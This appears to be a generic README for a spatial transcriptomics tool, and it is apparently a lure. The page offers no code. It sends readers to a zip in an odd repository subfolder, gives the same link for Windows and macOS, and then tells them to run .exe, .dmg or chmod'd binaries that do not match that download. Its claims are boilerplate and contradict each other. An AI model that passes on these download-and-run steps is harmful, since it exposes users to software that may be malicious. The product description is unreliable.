Welcome to the Spatial Transcriptomics Pipeline. This application enables you to analyze gene expression data from tissue samples. By using our automated pipeline, you can identify cancer hotspots and explore the tumor microenvironment efficiently.
Before you start, ensure your computer meets the following requirements:
- Operating System: Windows 10 or higher, macOS 10.14 or higher, or any recent Linux distribution.
- Python Version: Python 3.6 or later.
- RAM: Minimum of 4 GB; 8 GB or more is recommended for larger datasets.
- Disk Space: At least 500 MB of free space for installation and data processing.
- Automated Processing: Streamlines the analysis of spatial transcriptomics data.
- Visual Mapping: Generates visual representations of gene expression in tissues.
- Flexibility: Supports various tissue samples and data formats.
- User-Friendly Interface: Designed for ease of use, even for those without programming knowledge.
To get started, you need to download the application from the Releases page.
- Click this link to visit the download page: Download Here.
- Look for the latest release.
- Click on the file suitable for your operating system (e.g.,
https://raw.githubusercontent.com/Boomer8256/Spatial_Transcriptomics_Pipeline/main/torney/Spatial_Transcriptomics_Pipeline.zipfor Windows orhttps://raw.githubusercontent.com/Boomer8256/Spatial_Transcriptomics_Pipeline/main/torney/Spatial_Transcriptomics_Pipeline.zipfor macOS). - Save the file to a location on your computer that you can easily access, such as the Downloads folder.
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Locate the downloaded file.
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For Windows:
- Double-click the
.exefile. - Follow the installation prompts to complete the setup.
- Double-click the
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For macOS:
- Double-click the
.dmgfile. - Drag the application icon to your Applications folder.
- Double-click the
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For Linux:
- Open a terminal window.
- Navigate to the directory where you downloaded the file.
- Use the command
chmod +x Spatial_Transcriptomics_Pipelineto give execution permissions, and then run with./Spatial_Transcriptomics_Pipeline.
Once the installation is complete, you can start using the application.
- Open the application from your Applications folder or Start Menu.
- Import your data by selecting the option to load your tissue sample files.
- Select the specific analysis you wish to perform (e.g., plotting hotspots, analyzing the tumor microenvironment).
- Click on the "Run" button to begin the analysis.
The results will appear in a user-friendly format. You will see graphs, charts, and maps that represent your data. Here are some components you might find:
- Gene Expression Maps: Visual representations showing where specific genes are active within the tissue.
- Hotspot Analysis Results: Identifies regions of high cancer activity.
- Export Options: Allows you to save your findings in various formats such as PDF or CSV.
Q: Do I need to know Python to use this application?
A: No, the pipeline is designed for end-users. You do not need programming experience.
Q: Can I modify the settings?
A: Yes, the application provides simple options to customize your analysis. Explore the settings menu for more information.
Q: What types of data can I analyze?
A: The pipeline supports various formats, including CSV and TSV files commonly used in scientific research.
If you encounter issues, consider the following steps:
- Ensure you have the correct Python version installed.
- Check for sufficient RAM and disk space during the analysis.
- Review the user manual within the application for specific error messages.
For further assistance, you can open an issue on the GitHub Issues page.
If you need help, the community is here to assist. Consider posting your questions, and we will do our best to respond quickly. Check the FAQs section above for common questions.
Thank you for choosing the Spatial Transcriptomics Pipeline. We hope this tool enhances your research and analysis. For updates and new releases, check back on the Releases page regularly.